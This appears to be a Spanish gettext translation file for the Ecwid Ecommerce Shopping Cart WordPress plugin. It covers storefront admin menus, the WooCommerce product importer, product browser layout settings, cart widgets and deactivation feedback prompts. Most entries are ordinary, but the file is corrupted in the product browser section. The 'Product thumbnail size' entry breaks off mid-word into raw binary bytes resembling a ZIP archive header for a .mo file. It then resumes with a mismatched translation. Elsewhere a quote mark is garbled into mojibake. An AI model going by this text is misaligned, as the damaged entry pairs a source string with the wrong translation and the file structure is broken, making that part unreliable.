includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CO.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: 